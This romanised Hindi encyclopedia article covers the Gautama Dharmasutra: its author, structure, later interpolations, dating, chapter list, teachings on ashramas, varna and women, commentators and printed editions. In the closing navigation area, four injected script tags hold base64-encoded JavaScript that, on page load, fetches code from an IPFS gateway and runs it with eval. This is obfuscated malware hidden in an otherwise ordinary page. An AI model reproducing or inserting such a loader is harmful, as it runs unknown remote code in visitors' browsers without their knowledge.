गौतम धर्मसूत्र
kartta
gautam dharmasootr ke rachayita rrishi gautam muni mane jate haian. gautam nam ka ullekh prachin shastroan mean anekatr paya jata hai. yatha nyay darshan ke praneta bhi akshapad gautam mane jate haian. kathopanishad mean gautam ka prayog nachiketa tatha usake pita vajashravash ke lie hua hai. isi prakar chhandogy upanishad[1] mean haridrum nam ke achary ka ullekh hua hai. atharvaved[2] mean bhi gautam nam hai. rrigved[3] ke rrishi rahoogan gautam haian. inamean se kisane dharmasootr ka pranayan kiya hai, yah anishchit hai. charanavyooh ki tika ke anusar gautam samaved ki ranayani shakha ke ek vibhag ke achary the.[4]
gautam dharmasootr ka svaroop
gautam dharmasootr mean keval tin prashn haian. pratham tatha dvitiy prashn mean nau–nau adhyay tatha tritiy prashn mean das adhyay haian. is prakar sampoorn gautam dharmasootr 28 adhyayoan mean vibhakt hai, jisamean ek sahastr sootr hai. yah granth keval gady mean hai tatha sabhi dharmasootroan mean prachinatam hai. is granth mean vedoan ke mantraanshoan ko sootr roop mean uddhrit kiya gaya hai. yadyapi in sootroan mean yajurved ke mantr bhi uddhrit haian[5] tathapi is granth ka sambandh samaved se mana jata hai, kyoanki isamean n keval samaved ke anek vishayoan ko hi grahan kar liya gaya hai, apitu samaved ke kee sooktoan ka nirdesh bhi hai. sath hi is granth ke tritiy prashn ke ashtam adhyay mean anek sootr samaved ke samavidhan brahman se uddhrit hai. isi prakar tritiy prashnapatr ke pratham adhyay ke barahavean sootr mean samaved ke nau mantroan ka nirdesh hai. pratham prashn ke pratham adhyay ke sootr 52vean tatha tritiy prashn ke saptam adhyay ke 8vean sootr mean paanch mahavyahritiyoan ka ullekh kiya gaya hai.[6] in vyahritiyoan ka sambandh bhi samaved se hi hai. in pramanoan ke adhar par gautam dharmasootr ka sambandh samaved se spasht hai. m. m. kane ne gautam dharmasootr ka sambandh gautamakalp se mana hai, kintu sath hi unhoanne isaki svatantr rachana ka mat bhi pratipadit kiya hai.[7]
gautam dharmasootr mean prakshep
samay samay par gautam dharmasootr mean prakshep bhi hote rahe haian. aisa prayah anek granthoan ke sath hua hai. gautam dharmasootr bhi isaka apavad nahian hai. praman roop mean kaha ja sakata hai ki baudhayan dharmasootr mean gautam ke nam se yah mat uddhrit kiya gaya hai ki brahman ko kshatriy ki vritti svikar nahian karani chahie.[8] kintu vartaman gautam dharmasootr mean yah mat upalabdh nahian hota, apitu isake sthan par yah kaha gaya hai ki apatkal mean brahman kshatriy tatha vaishy ki vritti ko bhi apana sakata hai.[9] isi prakar vasishth dharmasootr mean bhi gautam ke nam se yah vichar vyakt kiya gaya hai ki yadi koee ahitagni yatra mean mar jae to usake sapind ghas–phoos ke putale ka punardah karean, kintu vartaman gautam dharmasootr mean aisa koee sootr nahian hai.gautam dharmasootr mean anek path–bhed bhi upalabdh hote haian tatha kee pandulipiyoan mean karmavipak par ek poora prakaran jo d diya gaya, jis par haradatt ki vyakhya nahian hai. in pramanoan ke adhar par vidvanoan ki dharana hai ki gautam dharmasootr mean samay samay par anek parivartan hote rahe haian. kundalal sharma ji ka vichar haiah– 'is prakar ke path–bhed ya prakshep kumaril se poorv hi kie ge the kyoanki 'tantr varttik'[10] mean is prakar ke pathabhedoan ki charcha ki gee hai. mitakshara, smritichandrika tatha any granthoan mean uddhrit is rachana ke anek sootr vartaman sanskaranoan mean upalabdh nahian haian.'
gautam dharmasootr ka kal
gautam dharmasootr ka kal eesa poorv 400–600 ke pahale mana jata hai. is avadharana mean hetu yah hai ki anek granthoan mean gautam ka ullekh prapt hota hai. jisase svatah siddh hai ki gautam dharmasootr unase poorvavarti hai. isi prakar gautam dharmasootr mean bhi any sahity ka ullekh prapt hota hai. atah is sootragranth ko us sahity se paravarti hi manana hoga. donoan paksh is prakar haian–
gautam dharmasootr mean kisi bhi dharmasootrakar ke nam ka ullekh prapt nahian hota, apitu 'ityeke', 'ekashamh', 'eke' adi shabdoan ke dvara hi apane se poorvavarti acharyoan ka ullekh isamean kiya gaya hai. gautam dharmasootr[11] mean manu ke nam se ek mat diya gaya hai.[12] gautam dharmasootr ki vyakhya karate samay maskari ne apani vyakhya ki pushti mean anek udaharan manusmriti se die haian. shodhakoan ne gautam dharmasootr matha manusmriti ke padoan mean 500 se adhik samanataean khoj lian haian to bhi isase yah siddh nahian hota ki vartaman manusmriti gautam dharmasootr ka mukhy srot hai.[13] gautam dharmasootr[14] mean ‘lokavedavedaangavith’ kahakar ved–vedaang tatha[15] mean ‘vakovakyetihasapuranakushalah’ kahakar puran adi ki charcha bhi ki hai. sath hi gautam dharmasootr[16] mean upanishadh–vedant adi ka ullekh bhi kiya hai.[17] isi prakar 2–2–28 mean nirookt[18] ki or bhi sanket haian.[19] in pramanoan ke adhar par gautam dharmasootr in granthoan mean se paravarti pratit hota hai.
baudhayan dharmasootr mean do bar gautam ka ullekh hua hai.[20] samaved ke shrautasootr latyayan[21] evan drahyayan[22] bhi gautam ko uddhrit karate haian. samavediy gobhilagrihyasootr[23] bhi gautam dharmasootr ko pramanik manata hai. vasishth dharmasootr[24] mean gautam ko uddhrit kiya gaya hai. gautam dharmasootr ka 19vaan adhyay hi vasishth dharmasootr mean 22vean adhyay ke roop mean hai. manusmriti[25] mean gautam ko utathy ka putr kaha gaya hai tatha yajnavalky–smriti mean[26] gautam ki ganana dharmashastroan mean ki gee hai. shankarachary ne vedantasootr–bhashy[27] mean gautam dharmasootr[28] ko uddhrit kiya hai.[29]
in pramanoan ke adhar par gautam dharmasootr in rachanaoan ke pashchath thaharata hai. d aau. j aauli gautam dharmasootr ko apastamb dharmasootr se shatabdiyoan poorv manate haian.[30] m. m. kane ka vichar hai ki gautam dharmasootr ke samay panini ka vyakaran ya to tha hi nahian aur yadi tha to vah apani mahatta sthapit nahian kar saka tha. nishkarsh svaroop gautam dharmasootr ka rachana kal 600 ee. poo. mean rakha ja sakata hai. gautam dharmasootr mean varnit vishayoan ki soochi is prakar hai–
pratham prashnah
- pratham adhyay – dharm, upanayan, shuddhi–prakaran, chhatroan ke niyam.
- dvitiy adhyay – brahchari ke niyam, acharan aur nishedh.
- tritiy adhyay – grihasthashram, sannyas aur vanaprasth ke niyam.
- chaturth adhyay – grihasth ka dharm, vivah aur putroan ke prakar.
- pancham adhyay – panch mahayajn aur madhupark.
- shashtham adhyay – abhivadan ke niyam aur vyaktiyoan ke prati acharan.
- saptam adhyay – guruseva aur brahman ke karttavy.
- ashtam adhyay – raja aur bahushrut sanskar.
- navam adhyay – vrat aur acharan ke dainik niyam.
dvitiy prashn
- pratham adhyay – charoan varnoan ke karttavy.
- dvitiy adhyay – raja ke karttavy aur dharm–nirnay ki prakriya. \
- tritiy adhyay – aparadh aur unake dand, byaj, rrin.
- chaturth adhyay – vivad aur unake nirnay, sakshi aur vyavahar, satyabhashan, nyayakartta.
- pancham adhyay – mrityu aur janmavishayak ashauch.
- shashtham adhyay – shraddhakarm.
- saptam adhyay –vedadhyayan ki vidhi aur anadhyay.
- ashtam adhyay – bhakshy aur pey padarth.
- navam adhyay – stri ke dharm.
tritiy prashn
- pratham adhyay – prayashchitt.
- dvitiy adhyay – tyajy vyakti.
- tritiy adhyay – patak aur mahapatak.
- chaturth adhyay se saptam adhyay – prayashchitt.
- ashtam adhyay – krichchhr vrat.
- navam adhyay – chandrayan vrat aur
- dasham adhyay – sampatti ka vibhajan.
pratipady ka vishleshan
prayah sabhi dharmasootroan ka pratipady manushy ke vyaktigat tatha samajik achar evan karttavy haian. gautam dharmasootr mean bhi inake sambandh mean vishad vivechan kiya gaya hai. any dharmasootroan ke saman gautam dharmasootr mean bhi mukhyatah varnoan evan ashramoan ke niyamoan tatha varnoan ke dainik dharmakrityoan ka vidhan kiya gaya hai. varnashram–vyavastha ko gautam dharmasootr atyant mahattv pradan karata hai, yahaan tak ki isamean varnashram se hin, apavitr tatha patitoan ke sath sambhashan ka bhi nishedh hai. brahmachari, grihasth, vaikhanas tatha bhikshu ke roop mean gautam ne manushy jivan ko char ashramoan mean vibhakt karake charoan ashramavasiyoan ke karttavyoan ke vistar se ullekh kiya hai. gautam grihasthashram ko mahattv dete haian, kyoanki sabhi ashram isi ke ashrit haian. any ashramoan ke angrat bhikshu nam se sannyasashram ko gautam mahattvapoorn manate haian. vanaprasth ya vaikhanas grihasth tatha sannyas ke bich ki k di hai. gautam ne un sabhi ashramoan ke karttavyadi ke vishay mean vistar se vichar kiya hai.
atithi–satkar
ashram–vyavastha ke antargat gautam ne atithi–satkar ko bahut mahattv diya hai. gautam dharmasootr[31] ke anusar sannyasi ko bhi atithi seva karani chahie tatha grihasth ko ‘devapitrimanushyarshipoojak’ hona chahie. duahkhi, rogi, nirdhan aur vidyarthi ki sahayata karana grihasth ka param dharm hai. use atithi, balak, rogi, stri, vriddhoan, sevakoan ko bhojan dekar svayan bhojan karana chahie. grihasth–dharm ke palanarth gautam ne paanch mahayajnoan ka vidhan kiya hai.[32] isake sath hi is dharm ki shuddhata ke lie anek niyam bhi banae haian. ashram–dharm ke prasang mean gautam dharmasootr mean daya, kshama, paranindarahity adi manaviy gunoan par bal diya gaya hai.[33]
dan
in gunoan ke sath dan dene ka vidhan bhi yahaan par kiya gaya hai, kintu gautam dharmasootr[34] ke anusar dan patr ki yogyata ke anusar dena chahie. gautam ka satyabhashan tatha saty acharan par bahut bal hai. sabhi ke lie yah anivary hai. isilie saty bhashan ko mahanh tap kaha gaya hai. saty bolane se svarg tatha asaty bhashan se narak prapti ki bat bhi kahi gee hai. in gunoan ke sath manushy ko ahiansak, mridu, sahishnu, kshamashil bhi hona chahie.
is prakar gautam dharmasootr mean vyaktigat tatha samajik jivan ko shreshth banane ka prayatn kiya gaya hai. isake sath gautam yah bhi janate haian ki vyakti apani svabhavik kamazori ke karan kupath mean pravritt ho jata hai. kabhi–kabhi poore samaj mean hi anaitikata vyapt ho jati hai, kintu yadi yatn kiya jae to ye durbalataean der ho sakati haian. isalie gautam dharmasootr mean dand svaroop anek prakar ke prayashchattoan ka vidhan kiya gaya hai jinase vyakti shuddh hokar punah shreshth jivan vyatit kar sakata hai. is granth mean kahian kahian maans–bhakshan ka ullekh bhi milata hai, kintu vah prakshipt pratit hota hai.
charoan varn
gautam dharmasootr mean ashram–vyavastha ke sath varn–vyavastha par bhi paryapt prakash dala gaya hai. is prasang mean brahman ko sarvopari sthan pradan kiya gaya hai. brahman, kshatriy, vaishy tatha shoodr ke roop mean charoan varnoan ke karttavy evan adhikaroan ka yahaan achchha vivechan kiya gaya hai. varn–vyavastha ke sucharoo sanchalanarth yahaan par savarn vivah ko hi manyata pradan ki gee hai. yadi koee asavarn vivah karata hai to usaki santan varnasankar kahalaegi. yahaan par yah bhi kaha gaya hai ki nirantar sat pidhiyoan tak chalane vali varnasankar santan bhi apane apane karyoan ke adhar par utkrisht varn ya nishkrit varn ki ho jati hai. prayashchitt, aparadh, dand, mrityu tatha janmavishayak ashauch bhi varnanusar hi nirdharit kie ge haian.
sambhavatah brahman ko usaki vidvata tatha shreshth acharan ke karan hi bandhanoan se mukt rakha gaya hoga. isalie gautam dharmasootr[35] mean ‘tadapekshastadvrittiah’ kaha gaya hai. gautam dharmasootr mean shoodroan ki sthiti achchhi nahian dikhaee deti hai. unake lie dharmik sanskar vihit nahian haian tatha keval grihasthashram hi unake lie vihit hai. shoodr ka yahi dharm batalaya gaya hai ki vah uchch varn ke logoan ki seva kare.
nari ko mahattv
gautam dharmasootr mean nari ko paryapt mahattv diya gaya hai, kyoanki vah santan ki janani hai. use shreshth achary kaha gaya hai. yadyapi grihasambandhi tatha dharmik karyoan mean grihini tatha sahadharmini ke roop mean vah pratishthit pad par asin hai tathapi use dharm ke vishay mean asvatantr kaha hai. kanya ka vivah mata–pita ke adhin hai kintu yadi ve samay par kanya ka vivah nahian karate, to vah svayan anukool yuvak se vivah kar sakati hai. stri ke lie pativraty dharm anivary hai. apane pati ke atirikt use kisi aur ke vishay mean sochana bhi nahian chahie. anaitik yaun sambandhoan ke lie kathoratam dand ka vidhan kiya gaya hai. gautam dharmasootr mean dasi ke roop mean nari ka nimn svaroop hi drishtigochar hota hai. ek sootr[36] mean to yahaan tak kah diya gaya ki dasi yadi kisi purush ke pas bandhak rakhi gee hai to vah usaka upabhog kar sakata hai. is kathan ka auchity gautam dharmasootr ke tikakar haradatt ne yah kahakar batalaya hai ki pas rakhi upabhogy vastu par koee vyakti kab tak sanyam rakh sakata hai? haradatt ka yah kathan naitikata ki sima ka ullanghan karata hai. karan kuchh bhi ho, yah sthiti samaj ki hin avastha ki soochak hai.
rajy–vyavastha
gautam dharmasootr mean rajy–vyavastha par bhi prakash dala gaya hai. gautam[37] ke anusar pranimatr ki raksha karana tatha nyayapoorvak dand dekar praja ko supath mean rakhana raja ka karttavy hai. raja vidvanh tatha sadachari brahman ki sahayata se rajakary karata hai. dharmasootroan mean raja nirankush nahian hai. usake nyay ki prakriya bhi jan–tantrik hai. rajy mean brahman dharm ka vidhan karane vala tatha raja usaka palan karane vala hai.[38]
is prakar gautam dharmasootr mean ek bahut hi samanvayapoorn lok–vyavastha ka pratipadan kiya gaya hai. samaj ke vibhinn vargoan ke prayah sabhi prakar ke karttavyoan ka nirdharan karake samaj ko sahi disha dene ka prayatn yahaan par kiya gaya hai jisase samaj unnati kar sake tatha logoan mean prem, nyay, daya, paropakar adi gunoan ki vriddhi ho. sankshep mean kaha jae to gautam ne apane dharmasootr ke madhyam se sampoorn samaj ko hi naitik evan samajik drishti se niyantrit karane ka prayatn kiya hai.
vyakhyakar
- haradatt – is dharmasootr par haradatt ne mitakshara nam ki tika likhi hai jo upalabdh hai haradatt ka samay 1100–1300 ee. ke madhy svikar kiya jata hai.
- bharttriyajn – ye gautam dharmasootr ke prachin vyakhyakar haian jinaka ullekh kee logoan ne kiya hai. inaki vyakhya is samay par upalabdh nahian hai. inaka kal 800 ee. se poorv ka mana jata hai.
- asahay – adbhut sagar ke lekhak aniruddh tatha bhashyakar vishvaroop ne soochit kiya hai ki asahay ne bhi gau. dh. soo. par bhashy likha tha. medhatithi ne vishvaroop ka ullekh kiya hai. atah inaka kal 750 ee. se uttaravarti nahian hai.
- maskari – kalpataroo ke moksh kand mean maskari ko gau. dh. soo. ka vyakhyata kaha gaya hai. veankatanath ki shatadooshani (pri. 64) mean bhi aisa hi kaha gaya hai. vahaan ise ‘sarvasmriti nibandhan’ ka nam diya gaya hai.
sanskaran
- isake kee sanskaran prakashit ho chuke haian. sarvapratham d aau. e. eph. stentslar ne ‘sanskrit teksat sosayati’ ke lie landan se 1876 ee. mean ‘di ianstityoots aauph gautam’ nam se prakashit kiya.
- 1876 ee. mean jivanand vidya sagar ne kalakatta se ek sanskaran prakashit kiya jisamean 19vean adhyay ke aant mean ‘karmavipak’ namak prakaran jo d diya gaya.
- kalakatta se hi 1908 ee. mean em. en. datt ne ek sanskaran prakashit karaya, isamean bhi karmavipak jo da gaya hai.
- ‘smritisandarbh’ namak smriti–sangrah ke chaturth bhag mean kalakatta se 1879–1918 ee. mean ise prakashit kiya gaya.
- poona se 1910 ee. mean anandashram granthamala ke antargat bhi ek sanskaran nikala jo dosh poorn tha. 1931 ee. mean ise punah haradatt ki mitakshara sahit prakashit keya gaya. isamean kul 991 sootr haian. isi sanskaran ka telugu aksharoan mean bhi sampadan hua hai.
- el. shri nivas achary ne maskari ki vyakhya sahit 1917 ee. mean gavarnament oriyantal laibreri, maisoor se prakashit kiya. isamean 1016 sootr haian. yah sanskaran bhi doshapoorn hai.
- 1966 ee. mean kashi sanskrit granthamala ke antargat chaukhamba sanskrit sirij aauphis, varanasi se haradatt ki mitakshara sahit gautam dharmasootr ko prakashit kiya gaya, jisamean d aau. umesh chandr pandeyakrit hindi vyakhya bhi hai.
- 1969 ee. mean vedamitr ne neshanal pablishiang haus se navin sanskaran nikala.
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tika tippani aur sandarbh
- ↑ chhandogy upanishad, 4.4–3
- ↑ atharvaved , 4.29.6 tatha 18.3.16
- ↑ rrigved , 1.78.5
- ↑ gautam dharmasootr, chaukhamba 1966, bhoomika, pri. 13
- ↑ 1-agnaye svaha, somay svaha – gautam dharmasootr 3816 tatha yaju. 22.6.
2-apo hishtha. – gautam dharmasootr 3.8 tatha yaju. 11.50. - ↑ 1-gautam dharmasootr 1.1.51.
2-gautam dharmasootr 3.8.7. - ↑ hi. dh. sha. bhag 1 prishth 13
- ↑ baudhayan dharmasootr 2.2.4.17
- ↑ tadalabhe kshatravrittiah– gautam dharmasootr 1.7.6
- ↑ gautam dharmasootr 1–45 par kumaril bhatt ka mat
- ↑ gautam dharmasootr, 3–3–7
- ↑ trini prathamanyanirdishyanmanuah – gautam dharmasootr 3.3–7
- ↑ vedamitr, indiya aauph dharmasootraj bhoomika, pri. 36
- ↑ gautam dharmasootr, 1–8–5
- ↑ gautam dharmasootr, 1.8.6
- ↑ gautam dharmasootr, 3.1.12
- ↑ trayyamanvikshyaan vaabhivinitah gautam dharmasootr 2–2.3
- ↑ nirookt, 11.3
- ↑ gautam dharmasootr 2.2.28 dando damanadityahustenadantandamayeth
- ↑ baudhayan dharmasootr 1.1.7 tatha 2.2.17
- ↑ shrautasootr latyayan, 1.3.3 tatha 1.4.17
- ↑ drahyayan, 1.4.17 tatha 9.3.15
- ↑ gobhilagrihyasootr, 3.10.6
- ↑ vasishth dharmasootr, 4.34 tatha 4.36
- ↑ manusmriti, 2.16
- ↑ yajnavalky–smriti 1.5
- ↑ vedantasootr–bhashy 3.1.8
- ↑ gautam dharmasootr 2.2.29
- ↑ baudhayan dharmasootr 2.2–17
- ↑ indiyan la end kastam pri. 9
- ↑ gautam dharmasootr 1.3–28
- ↑ panchanaan yajnanamanushthanan devapitrimanushyabhootabrahmanamh –gautam dharmasootr 1.8.17
- ↑ daya sarvabhooteshu kshantiranasooya shauchamanayaso mangalamakarpanyamaspriheti –gautam dharmasootr 1–8–24
- ↑ gautam dharmasootr, 1–5–18
- ↑ gautam dharmasootr 1–3–7
- ↑ 2.3.36
- ↑ gautam dharmasootr 2.1.7–8
- ↑ gautam dharmasootr 2.20.14
sanbandhit lekh
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>